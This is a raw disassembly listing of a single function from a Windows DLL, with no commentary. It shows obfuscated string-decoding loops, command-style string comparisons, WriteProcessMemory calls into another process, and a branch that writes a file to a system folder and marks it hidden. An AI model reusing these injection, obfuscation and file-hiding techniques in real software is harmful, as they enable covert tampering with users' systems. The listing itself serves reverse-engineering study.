mov byte [rsp + 0x298], 0xd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x299], xmm0
mov dword [rsp + 0x2a9], eax
mov byte [rsp + 0x2ad], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jae 0x18002c121
movabs r9, 0xb15040c51a751e4
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x290]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x3c
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x290], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1e
jb 0x18002c0d3
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0xa30]
call fcn.18000f570
nop
lea r9, [rsp + 0x830]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0xa30]
lea rcx, [rsp + 0xc70]
call fcn.180025b30
nop
mov rdx, rax
lea rcx, [rsp + 0x11e0]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xc70]
call fcn.180016370
nop
lea rcx, [rsp + 0xa30]
call fcn.180016370
nop
lea rcx, [rsp + 0x830]
call fcn.180016370
lea rdx, [0x1801330b4]
lea rcx, [rsp + 0x130]
call fcn.180030b60
nop
lea rdx, [rsp + 0x11e0]
lea rcx, [rsp + 0x148]
call fcn.180030c30
nop
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x1020]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf60], xmm0
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x60]
call fcn.18002db40
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xdd0]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf60], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x10b0]
call fcn.18002df80
nop
lea r9, [fcn.18002d770]
mov r8, r15
mov edx, 0x18
lea rcx, [rsp + 0x60]
call fcn.1800d25a0
nop
lea r9, [fcn.18002d770]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x130]
call fcn.1800d25a0
lea rcx, [rsp + 0x1580]
call fcn.18003dbc0
lea rcx, [rax + 0x88]
call fcn.18003d550
lea rcx, [rax + 0xd8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
mov r14, rax
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, edi
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0x10b0]
call fcn.18002dcb0
nop
mov rdx, rax
lea rcx, [rsp + 0x1060]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xf10]
call fcn.180016370
lea rcx, [rsp + 0x1060]
call fcn.1800161e0
mov rdx, rax
lea rcx, [r14 + 0x50]
call fcn.18003da20
lea rcx, [rsp + 0x1060]
call fcn.1800161e0
lea rdx, [rax + 1]
lea rcx, [r14 + 0x58]
call fcn.18003da20
lea rdx, [0x1801330d4]
lea rcx, [rsp + 0xf38]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf08]
call fcn.18003dcd0
nop word [rax + rax]
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0xf08]
call fcn.18003de10
lea rdx, [0x1801330d4]
mov rcx, rax
call fcn.180019a10
movzx ebx, al
lea rcx, [rsp + 0xf38]
call fcn.180016370
test bl, bl
jne 0x18002c350
lea rcx, [rsp + 0x1060]
call fcn.1800161e0
mov rdi, rax
lea rcx, [rsp + 0x1060]
call fcn.1800161f0
mov rbx, rax
lea rcx, [r14 + 0x40]
call fcn.18003d550
mov qword [rsp + 0x20], rsi
lea r9, [rdi + 1]
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0x1060]
call fcn.180016370
nop
lea rcx, [rsp + 0x10b0]
call fcn.18002d770
nop
lea rcx, [rsp + 0x11e0]
jmp 0x18002cddf
mov dword [rsp + 0x1f0], 0x8010a05
mov dword [rsp + 0x1f4], 0x33040008
mov word [rsp + 0x1f8], 0x335
mov byte [rsp + 0x1fa], 0x8c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1fb], xmm0
mov dword [rsp + 0x20b], eax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jae 0x18002c49e
movabs r9, 0x58376a1a8d669819
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x1f0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x51
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x1f0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1f
jb 0x18002c450
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002c5d2
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x930]
call fcn.18000f570
nop
mov dword [rsp + 0x270], 0x8010a05
mov dword [rsp + 0x274], 0x33040008
mov word [rsp + 0x278], 0x335
mov byte [rsp + 0x27a], 0x8c
xorps xmm0, xmm0
movups xmmword [rsp + 0x27b], xmm0
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1b
jae 0x18002c56e
movabs r9, 0xa9b4eb7daeb0a619
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x270]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x51
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x270], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1b
jb 0x18002c520
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x910]
call fcn.18000f570
nop
lea r9, [rsp + 0x930]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x910]
lea rcx, [rsp + 0xc90]
call fcn.180025b30
lea rcx, [rsp + 0xc90]
call fcn.180016370
nop
lea rcx, [rsp + 0x910]
call fcn.180016370
nop
lea rcx, [rsp + 0x930]
jmp 0x18002cddf
mov dword [rsp + 0x40], 0x60e0404
mov dword [rsp + 0x44], 0x80000f0
mov dword [rsp + 0x48], 0xf90f0d04
mov byte [rsp + 0x4c], 0x6c
xor eax, eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x18002c668
movabs r9, 0x8be0b0175b54c070
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x40]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x10
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x40], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x18002c620
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002c7a2
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x970]
call fcn.18000f570
nop
mov dword [rsp + 0x160], 0x28202e2a
mov dword [rsp + 0x164], 0x3e2a2a3e
mov dword [rsp + 0x168], 0x2537313a
mov byte [rsp + 0x16c], 0xaa
xor eax, eax
mov qword [rsp + 0x16d], rax
mov byte [rsp + 0x175], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jae 0x18002c73e
movabs r9, 0xbee8e90c60d9bee9
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x160]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x5f
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x160], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jb 0x18002c6f0
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x950]
call fcn.18000f570
nop
lea r9, [rsp + 0x970]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0xcb0]
call fcn.180025b30
lea rcx, [rsp + 0xcb0]
call fcn.180016370
nop
lea rcx, [rsp + 0x950]
call fcn.180016370
nop
lea rcx, [rsp + 0x970]
jmp 0x18002cddf
mov dword [rsp + 0x250], 0x7f797272
mov dword [rsp + 0x254], 0x64747668
mov word [rsp + 0x258], 0xcd73
xor eax, eax
mov qword [rsp + 0x25a], rax
mov dword [rsp + 0x262], eax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jae 0x18002c83e
movabs r9, 0x827d55e28a1c7921
nop dword [rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x250]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x19
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x250], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x16
jb 0x18002c7f0
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002cbf7
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x9b0]
call fcn.18000f570
nop
mov dword [rsp + 0x1a0], 0x9f918a8a
mov dword [rsp + 0x1a4], 0x84848680
mov word [rsp + 0x1a8], 0x2d9b
xor eax, eax
mov qword [rsp + 0x1aa], rax
mov dword [rsp + 0x1b2], eax
mov word [rsp + 0x1b6], ax
mov byte [rsp + 0x1b8], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jae 0x18002c91e
movabs r9, 0x3506d0d751f7d705
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x1a0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x23
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x1a0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x19
jb 0x18002c8d0
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x990]
call fcn.18000f570
nop
lea r9, [rsp + 0x9b0]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x990]
lea rcx, [rsp + 0xcd0]
call fcn.180025b30
nop
mov rdx, rax
lea rcx, [rsp + 0x1200]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xcd0]
call fcn.180016370
nop
lea rcx, [rsp + 0x990]
call fcn.180016370
nop
lea rcx, [rsp + 0x9b0]
call fcn.180016370
lea rdx, [0x1801330b4]
lea rcx, [rsp + 0x130]
call fcn.180030b60
nop
lea rdx, [rsp + 0x1200]
lea rcx, [rsp + 0x148]
call fcn.180030c30
nop
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x1020]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf60], xmm0
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x60]
call fcn.18002db40
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xdd0]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf60], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0x10a0]
call fcn.18002df80
nop
lea r9, [fcn.18002d770]
mov r8, r15
mov edx, 0x18
lea rcx, [rsp + 0x60]
call fcn.1800d25a0
nop
lea r9, [fcn.18002d770]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x130]
call fcn.1800d25a0
lea rcx, [rsp + 0x1580]
call fcn.18003dbc0
lea rcx, [rax + 0x88]
call fcn.18003d550
lea rcx, [rax + 0xd8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
mov r14, rax
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, edi
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0x10a0]
call fcn.18002dcb0
nop
mov rdx, rax
lea rcx, [rsp + 0x1040]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xf10]
call fcn.180016370
lea rcx, [rsp + 0x1040]
call fcn.1800161e0
mov rdx, rax
lea rcx, [r14 + 0x50]
call fcn.18003da20
lea rcx, [rsp + 0x1040]
call fcn.1800161e0
lea rdx, [rax + 1]
lea rcx, [r14 + 0x58]
call fcn.18003da20
lea rdx, [0x1801330d4]
lea rcx, [rsp + 0xf38]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf08]
call fcn.18003dcd0
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0xf08]
call fcn.18003de10
lea rdx, [0x1801330d4]
mov rcx, rax
call fcn.180019a10
movzx ebx, al
lea rcx, [rsp + 0xf38]
call fcn.180016370
test bl, bl
jne 0x18002cb50
lea rcx, [rsp + 0x1040]
call fcn.1800161e0
mov rdi, rax
lea rcx, [rsp + 0x1040]
call fcn.1800161f0
mov rbx, rax
lea rcx, [r14 + 0x40]
call fcn.18003d550
mov qword [rsp + 0x20], rsi
lea r9, [rdi + 1]
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0x1040]
call fcn.180016370
nop
lea rcx, [rsp + 0x10a0]
call fcn.18002d770
nop
lea rcx, [rsp + 0x1200]
jmp 0x18002cddf
mov dword [rsp + 0xf0], 0x78160407
mov dword [rsp + 0xf4], 0x1a0619
mov dword [rsp + 0xf8], 0x17005
mov word [rsp + 0xfc], 0x111
mov byte [rsp + 0xfe], 0x8e
xor eax, eax
mov qword [rsp + 0xff], rax
mov byte [rsp + 0x107], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x18
jae 0x18002cca3
movabs r9, 0x2d825f4980b49044
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0xf0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x24
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0xf0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x18
jb 0x18002cc55
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xfe0]
call fcn.180019a10
test al, al
je 0x18002cde5
lea rdx, [0x180131b35]
lea rcx, [rsp + 0x8d0]
call fcn.18000f570
nop
mov dword [rsp + 0x110], 0xb8a6b4b7
mov dword [rsp + 0x114], 0x505a5659
mov dword [rsp + 0x118], 0x50514055
mov word [rsp + 0x11c], 0x5141
mov byte [rsp + 0x11e], 0xee
xor eax, eax
mov dword [rsp + 0x11f], eax
mov byte [rsp + 0x123], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jae 0x18002cd80
movabs r9, 0xe732203fb2d21dfc
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x110]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1c
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x110], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jb 0x18002cd32
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x9d0]
call fcn.18000f570
nop
lea r9, [rsp + 0x8d0]
lea r8, [rsp + 0x1000]
lea rdx, [rsp + 0x9d0]
lea rcx, [rsp + 0xcf0]
call fcn.180025b30
lea rcx, [rsp + 0xcf0]
call fcn.180016370
nop
lea rcx, [rsp + 0x9d0]
call fcn.180016370
nop
lea rcx, [rsp + 0x8d0]
call fcn.180016370
nop
lea rcx, [rsp + 0x1000]
call fcn.180016370
lea rcx, [rsp + 0xfe0]
call fcn.180016370
lea rcx, [rsp + 0xfc0]
call fcn.180016370
jmp 0x18002d559
mov dword [rsp + 0xd0], 0x808f9e81
mov dword [rsp + 0xd4], 0x9b9a9891
mov dword [rsp + 0xd8], 0x93979195
mov dword [rsp + 0xdc], 0x7949793
xor eax, eax
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe8], eax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1c
jae 0x18002cebe
movabs r9, 0x4371ad76db817e2d
nop dword [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0xd0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x3b
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0xd0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1c
jb 0x18002ce70
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x18002cf52
lea rdx, [0x180133050]
lea rcx, [rsp + 0xf38]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf80]
call fcn.180032680
mov rbx, rax
lea rdx, [0x18013308c]
lea rcx, [rsp + 0x60]
call fcn.18000f570
mov rdx, rax
mov rcx, rbx
call fcn.180032680
lea rdx, [rsp + 0xf10]
mov rcx, rax
call fcn.180030a80
nop
lea rdx, [rsp + 0xf10]
lea rcx, [0x1801538a8]
call fcn.180030ce0
nop
lea rcx, [rsp + 0xf10]
call fcn.180016370
jmp 0x18002d559
mov dword [rsp + 0x2d0], 0xf3f8ccf2
mov dword [rsp + 0x2d4], 0x67faf0e3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2d8], xmm0
mov dword [rsp + 0x2e8], eax
mov byte [rsp + 0x2ec], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jae 0x18002cfeb
movabs r9, 0x3bd548dec13d6a92
nop dword [rax]
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x2d0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 2
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x2d0], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x18002cfa0
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x18002d1b5
lea rax, [rsp + 0x1340]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.shell32.dll_SHGetFolderPathW]
test eax, eax
jne 0x18002d559
lea rdx, [rsp + 0x1340]
lea rcx, [rsp + 0x1120]
call fcn.180016070
nop
mov dword [rsp + 0xb0], 0xfbbaf9aa
mov dword [rsp + 0xb4], 0xff82fdb9
mov dword [rsp + 0xb8], 0xf3b7f180
mov dword [rsp + 0xbc], 0xf7f4f5b6
xor eax, eax
mov dword [rsp + 0xc0], eax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jae 0x18002d0df
movabs r9, 0xaf7193126de7ab5f
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0xb0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x67
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0xb0], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jb 0x18002d094
lea rax, [rsp + 0xb0]
nop word [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x18002d0f0
mov r8, rdi
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x1120]
call fcn.180015f40
mov edx, 0x108
lea rcx, [rsp + 0xdf0]
call fcn.180010a30
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rsp + 0x1120]
lea rcx, [rsp + 0xdf0]
call fcn.18002db80
nop
mov rax, qword [rsp + 0xdf0]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0xe00], 6
jne 0x18002d188
lea rcx, [rsp + 0xdf0]
call fcn.180013cb0
lea rcx, [rsp + 0x1120]
call fcn.180015f30
mov rcx, rax
mov edx, 2
call qword [sym.imp.kernel32.dll_SetFileAttributesW]
nop
lea rcx, [rsp + 0xe98]
call fcn.180013d50
lea rcx, [rsp + 0xe98]
call fcn.180015ce0
nop
lea rcx, [rsp + 0x1120]
call fcn.180003060
jmp 0x18002d559
mov dword [rsp + 0x2f0], 0xe3d0eeef
mov dword [rsp + 0x2f4], 0x4fece6d3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2f8], xmm0
mov dword [rsp + 0x308], eax
mov byte [rsp + 0x30c], al
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jae 0x18002d24b
movabs r9, 0xc6a6ce0241e121b5
mov r8, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rsp + rax + 0x2f0]
add r8, r9
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0xd
mov rax, qword [rsp + 0x30]
mov byte [rsp + rax + 0x2f0], cl
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x1d
jb 0x18002d200
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0xf98]
call fcn.180019a10
test al, al
je 0x18002d559
lea rcx, [rsp + 0x12d0]
call fcn.18003e3e0
lea rcx, [rsp + 0xf38]
call fcn.1800291c0
nop
mov rdx, rax
lea rcx, [rsp + 0x12d0]
call fcn.18003e430
nop
lea rcx, [rsp + 0xf38]
call fcn.180016370
lea rcx, [rsp + 0xf38]
call fcn.18000f6d0
lea rdx, [rsp + 0x1280]
lea rcx, [rsp + 0x12d0]
call fcn.18003e4c0
lea rdx, [0x1801330b4]
lea rcx, [rsp + 0x800]
call fcn.180030b60
nop
lea rdx, [rsp + 0x1280]
lea rcx, [rsp + 0x130]
call fcn.18003e820
nop
mov rdx, rax
lea rcx, [rsp + 0xd10]
call fcn.180028fe0
nop
mov rdx, rax
lea rcx, [rsp + 0x818]
call fcn.180030c50
nop
lea r8, [rsp + 0x830]
lea rdx, [rsp + 0x800]
lea rcx, [rsp + 0x1020]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xdd0], xmm0
lea rdx, [rsp + 0xdd0]
lea rcx, [rsp + 0xf38]
call fcn.18002db40
nop
lea r8, [rsp + 0xf50]
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0x60]
call fcn.18002db70
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xdd0], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0xdd0]
lea rcx, [rsp + 0xf60]
call fcn.18002df80
nop
lea r9, [fcn.18002d770]
mov r8, r15
mov edx, 0x18
lea rcx, [rsp + 0xf38]
call fcn.1800d25a0
nop
lea r9, [fcn.18002d770]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x800]
call fcn.1800d25a0
nop
lea rcx, [rsp + 0xd10]
call fcn.180016370
nop
lea rcx, [rsp + 0x130]
call fcn.180016370
lea rcx, [rsp + 0x1580]
call fcn.18003dbc0
lea rcx, [rax + 0x88]
call fcn.18003d550
lea rcx, [rax + 0xd8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
lea rcx, [rax + 8]
call fcn.18003d550
mov r14, rax
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, edi
lea rdx, [rsp + 0xdd0]
lea rcx, [rsp + 0xf60]
call fcn.18002dcb0
nop
mov rdx, rax
lea rcx, [rsp + 0xf10]
call fcn.180028fe0
nop
lea rcx, [rsp + 0xdd0]
call fcn.180016370
lea rcx, [rsp + 0xf10]
call fcn.1800161e0
mov rdx, rax
lea rcx, [r14 + 0x50]
call fcn.18003da20
lea rcx, [rsp + 0xf10]
call fcn.1800161e0
lea rdx, [rax + 1]
lea rcx, [r14 + 0x58]
call fcn.18003da20
lea rdx, [0x1801330d4]
lea rcx, [rsp + 0x130]
call fcn.18000f570
mov rdx, rax
lea rcx, [rsp + 0xf08]
call fcn.18003dcd0
nop dword [rax]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xf08]
call fcn.18003de10
lea rdx, [0x1801330d4]
mov rcx, rax
call fcn.180019a10
movzx ebx, al
lea rcx, [rsp + 0x130]
call fcn.180016370
test bl, bl
jne 0x18002d4c0
lea rcx, [rsp + 0xf10]
call fcn.1800161e0
mov rdi, rax
lea rcx, [rsp + 0xf10]
call fcn.1800161f0
mov rbx, rax
lea rcx, [r14 + 0x40]
call fcn.18003d550
mov qword [rsp + 0x20], rsi
lea r9, [rdi + 1]
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x1801537e0]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
nop
lea rcx, [rsp + 0xf10]
call fcn.180016370
nop
lea rcx, [rsp + 0xf60]
call fcn.18002d770
lea rax, [rsp + 0xf10]
mov qword [rsp + 0x38], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0xf10]
call fcn.18000f5b0
nop
mov r8, r15
lea rdx, [0x1801321b4]
lea rcx, [rsp + 0xf10]
call fcn.18000f5d0
nop
jmp 0x18002d5d4
lea rax, [rsp + 0xf10]
mov qword [rsp + 0x38], rax
movzx edx, byte [rsp + 0xf00]
lea rcx, [rsp + 0xf10]
call fcn.18000f5b0
nop
mov r8d, 2
lea rdx, [0x1801330d8]
lea rcx, [rsp + 0xf10]
call fcn.18000f5d0
nop
lea rdx, [rsp + 0xf10]
lea rcx, [rsp + 0xf08]
call fcn.18003dcd0
xor edx, edx
lea rcx, [rsp + 0xf98]
call fcn.180017f60
lea rdx, [0x1801330e0]
lea rcx, [0x180151dc0]
call fcn.1800196d0
mov rcx, rax
call fcn.180019980
nop
movzx edx, byte [rsp + 0xf80]
lea rcx, [rsp + 0xf88]
call fcn.18002fe20
nop
lea rcx, [rsp + 0xf98]
call fcn.180016370
nop
lea rcx, [rsp + 0x1220]
call fcn.180016370
mov rcx, qword [rsp + 0x1550]
xor rcx, rsp
call fcn.1800d2190
lea r11, [rsp + 0x1560]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret